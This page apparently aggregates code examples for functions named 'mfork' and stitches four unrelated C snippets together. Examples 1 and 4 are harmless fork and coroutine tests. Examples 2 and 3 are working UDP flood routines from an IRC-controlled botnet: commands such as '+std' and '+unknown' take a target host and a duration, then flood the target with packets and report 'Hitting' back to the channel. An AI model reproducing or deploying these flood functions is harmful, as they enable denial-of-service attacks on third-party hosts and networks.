Ejemplo n.º 1
0
int main() {
    /* Start second coroutine before forking. */
    go(worker());
    /* Fork. */
    pid_t pid = mfork();
    assert(pid != -1);
    /* Parent waits for the child. */
    if(pid > 0) {
        int status;
        pid = waitpid(pid, &status, 0);
        assert(pid != -1);
        assert(WIFEXITED(status));
        assert(WEXITSTATUS(status) == 0);
        return 0;
    }

    /* Child tries to make sure that there's only one coroutine running. */
    forked = 1; 
    int i;
    for(i = 0; i != 20; ++i)
        yield();
    assert(!worker_running);

    return 0;
}
Ejemplo n.º 2
0
//STD Attack
void std(int sock, char *sender, int argc, char **argv) {
    if (argc < 3) {
	
        Send(sock,"PRIVMSG %s :>bot +std <target> <port> <secs>\n",chan);
        exit(1);
		
    }
    unsigned long secs;

    int iSTD_Sock;

    iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);

    time_t start = time(NULL);
    secs = atol(argv[3]);
    if (mfork(sender) != 0) return;
    Send(sock,"PRIVMSG %s :[STD]Hitting %s!\n",chan,argv[1]);

    struct sockaddr_in sin;

    struct hostent *hp;

    hp = gethostbyname(argv[1]);

    bzero((char*) &sin,sizeof(sin));
    bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
    sin.sin_family = hp->h_addrtype;
    sin.sin_port = atol(argv[2]);

    unsigned int a = 0;

    while(1){
        if (a >= 50) 
        {
            send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
            connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
            if (time(NULL) >= start + secs) 
            {
                Send(sock, "PRIVMSG %s :[STD]Done hitting %s!\n", chan, argv[1]);
                close(iSTD_Sock);
                exit(0);
            }
            a = 0;
        }
        a++;
    }
	

}
Ejemplo n.º 3
0
void unknown(int sock, char *sender, int argc, char **argv) {
    int flag=1,fd,i;
    unsigned long secs;
    char *buf=(char*)malloc(9216);
    struct hostent *hp;
    struct sockaddr_in in;
    
    time_t start=time(NULL);
    
    if (mfork(sender) != 0) return;
    
    if (argc != 2) {
        Send(sock,"PRIVMSG %s :>bot +unknown <target> <secs>\n",chan);
        exit(1);
    }
    
    secs=atol(argv[2]);
    
    memset((void*)&in,0,sizeof(struct sockaddr_in));
    
    in.sin_addr.s_addr=host2ip(sender,argv[1]);
    in.sin_family = AF_INET;
    
    Send(sock,"PRIVMSG %s :[UNK]Hitting %s!\n",chan,argv[1]);
    
    while(1) {
        
        in.sin_port = rand();
        
        if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0){
        } else {
            flag=1;
            ioctl(fd,FIONBIO,&flag);
            sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
            close(fd);
        }
        
        if (i >= 50) {
            if (time(NULL) >= start+secs) break;
                i=0;
        }
        i++;
    }
    Send(sock,"PRIVMSG %s :[UNK]Done hitting %s!\n",chan,argv[1]);
    close(fd);
    exit(0);
}
Ejemplo n.º 4
0
int main(int argc, char * argv[]) {
	int result = mfork();

	printf("fork result:%d\n",result);
	return 0;
}